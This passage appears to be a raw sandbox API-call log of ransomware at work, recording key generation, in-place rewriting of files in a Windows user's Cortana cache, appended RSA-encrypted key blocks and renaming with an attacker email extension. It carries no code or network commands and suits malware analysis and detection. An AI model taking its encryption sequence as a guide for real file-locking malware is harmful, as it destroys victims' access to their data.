lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.457] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.457] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.457] CloseHandle (hObject=0x1afc) returned 1 [0248.459] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.459] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{05A060EB-5890-4344-9370-DC1E06EC42BA}", dwFileAttributes=0x80) returned 1 [0248.459] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{05A060EB-5890-4344-9370-DC1E06EC42BA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{05a060eb-5890-4344-9370-dc1e06ec42ba}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.460] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.460] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.461] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.461] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.462] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.462] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.462] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.462] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.462] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9VxEOdZdhc/XGNjP+45Yv8BESwPGhRBer+IftzG8ezFRcIXIT+MThYTjUxtFOKuo\nkSwAG+KiV2YBI1GHoD2fijgLNurjnDYq8opFpDFtN5jUztwe9h+kFFipxlU8tPWn\nenxcJsD7m2KQDiWM2xi3+ryIXsuu+bsazhIcQLvjC99Nwtrcpd9/Q12gjKbjuje5\nzs91/Sxht11VmZiE/MLd0azntyDMHTDBi64+f4/qrmM3pz20lwPutD/AVMETnk63\n+6znj9fYcBbd1eR2Wz8Va3u6owd1vBvjZ1jlmoD/P0pbjjXVrBlKqgqSPllqPLfD\n3KgllU4UKaxoErNq5mXnWA==\n", pcchString=0x2e3f9a8) returned 1 [0248.462] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.462] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.462] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.462] CloseHandle (hObject=0x1afc) returned 1 [0248.464] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.464] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{034FA7ED-D1B4-4D9A-971D-782B8715E040}", dwFileAttributes=0x80) returned 1 [0248.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{034FA7ED-D1B4-4D9A-971D-782B8715E040}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{034fa7ed-d1b4-4d9a-971d-782b8715e040}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.465] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.465] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.466] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.467] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.467] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.467] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.467] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.467] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.467] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qJz0mWHqoX9g+YfO+5f0RMM97ZNiWsglU3s5AAz2FYvwc3R3JllVqqGOjTasURcn\nHD/snV64yhAemfX3OxK2Ko+hgwIU4hcVnfSyfw3134M+IjKmtqhL/1iOfhNf/j+Q\nQ/4s4YwPlSoyoCBRVdAcYrF4ua1vE4NX/JaKiIJuOxHK2lOWOGfMOH0pMO0PdiFy\ncDtMSHdllHGXZNRz6jPrWcYfEemEEmShZ0BLpmzoVSlsJkXbl1jwbYjQUBksrjGR\nHZGrBLb7Si8SE3ADHEiNzGFqJHVWekdZDFyFYJz9PPzvEH/h/fKYQKzCz0tIOGjg\nkPn31AP5V+ZjIz1ytm9Hbg==\n", pcchString=0x2e3f9a8) returned 1 [0248.468] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.468] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.468] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.468] CloseHandle (hObject=0x1afc) returned 1 [0248.470] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.470] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0079A0FC-58F2-467F-9294-6309B1E659EF}", dwFileAttributes=0x80) returned 1 [0248.470] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{0079A0FC-58F2-467F-9294-6309B1E659EF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{0079a0fc-58f2-467f-9294-6309b1e659ef}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0248.471] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0248.471] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.568] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.568] WriteFile (in: hFile=0x1afc, lpBuffer=0x2f3a0c8*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3a0c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0248.568] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0248.568] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.568] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.569] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.569] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.569] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.569] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YQX8i+s0u6WX868Gqp7qsGW/djyvn/rZZ8rIO9aB0GZFtG4HLhkChLxTtAQXJrN8\nRPtrtSaculm2hR0CMKjqsjHYT1rPLug47p5S4svQ6vI/j5r3uYKdcLwTVX3VVqsw\nU7qvZpmveD29LQvcjEUczJEoLzBbkoehUoT4UaJRB+9pB2H7OWi6Ra6b+PSwMdFc\nJSvmeJkIjzXK6xUhd6d9zx9s6pEwB4stL6BSNsZ4TdZlNVUPH6Hafi1t33Ks3nkB\nOvSEOaDrfyumQgsrqmkBow8tOabDB83efKeANNGw+fAgRH681gqWvq6J+xOOi8dO\nSXJanWYl30TPXzPuKZkXHg==\n", pcchString=0x2e3f9a8) returned 1 [0248.569] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.569] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.569] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.569] CloseHandle (hObject=0x1afc) returned 1 [0248.571] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x475d2a94, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31ee0 [0248.572] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x475d2a94, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0248.572] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b80a71, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x40b80a71, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x43798cc7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x541a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.0.filtertrie.intermediate.txt", cAlternateFileName="00FILT~1.TXT")) returned 1 [0248.572] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43798cc7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x43798cc7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4383156f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.1.filtertrie.intermediate.txt", cAlternateFileName="01FILT~1.TXT")) returned 1 [0248.572] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4383156f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x4383156f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x4383156f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0.2.filtertrie.intermediate.txt", cAlternateFileName="02FILT~1.TXT")) returned 1 [0248.572] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439aeafc, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x453492ab, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x710f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.ft", cAlternateFileName="")) returned 1 [0248.573] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35da864c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x35da864c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x454541d3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x25cce, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps.index", cAlternateFileName="APPS~1.IND")) returned 1 [0248.573] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475d2a94, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x475d2a94, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x475d2a94, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0248.573] FindNextFileW (in: hFindFile=0x2f31ee0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475d2a94, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x475d2a94, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x475d2a94, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0248.573] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.573] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index", dwFileAttributes=0x80) returned 1 [0248.574] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0248.575] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=154830) returned 1 [0248.575] ReadFile (in: hFile=0x1b00, lpBuffer=0x33f5018, nNumberOfBytesToRead=0x25cce, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f5018*, lpNumberOfBytesRead=0x2e3f9b4*=0x25cce, lpOverlapped=0x0) returned 1 [0248.592] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-154830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0248.592] WriteFile (in: hFile=0x1b00, lpBuffer=0x341acf0*, nNumberOfBytesToWrite=0x25cce, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x341acf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25cce, lpOverlapped=0x0) returned 1 [0248.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33f5018 | out: hHeap=0x570000) returned 1 [0248.592] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x341acf0 | out: hHeap=0x570000) returned 1 [0248.592] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25cce [0248.592] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.592] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.593] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0248.593] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0248.593] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0248.593] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66eb30 [0248.593] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66eb30, pcchString=0x2e3f9a8 | out: pszString="Xh86ctvzwo3mC7fi5nTzX89/Rzuu6ILVfapp5qh+BXxp3kMGqd9jQyo0ZmJW/KpK\n25cinS76MlEwbCPG/+XeawEh+TqbXmyvLw8JXAPjzebHcHhjaezUEIM56A6M3XTh\nxvWtMgXJwqY+KpjtkQBfLft95BT0mmP6z7ZvSQGKaGo4K7VCsii5xQEAw4l1Jj1M\nkrg/wY7ir1oaakSire0a1eIxcVlb3xn7o/R4U5Z7u1wjSVCkuphIumGqhuChOamL\nnQN1XpNwj/M7EkCrYrVdeeBUm7giPxuylnk0RUz5AX5kr8Bnh5uFFRPPQrcFam5c\nue/YDq80mJOXBzQ5IlxGjA==\n", pcchString=0x2e3f9a8) returned 1 [0248.593] WriteFile (in: hFile=0x1b00, lpBuffer=0x66eb30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66eb30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0248.593] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0248.593] WriteFile (in: hFile=0x1b00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0248.593] CloseHandle (hObject=0x1b00) returned 1 [0248.594] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66eb30 | out: hHeap=0x570000) returned 1 [0248.594] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\Apps.index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\apps.index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0248.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e948 | out: hHeap=0x570000) returned 1 [0248.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0248.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fadf30 | out: hHeap=0x570000) returned 1 [0248.596] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2fae078 | out: hHeap=0x570000) returned 1 [0248.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x140) returned 0x2fada10 [0248.597] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0248.597] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0248.597] SetFileAttributesW 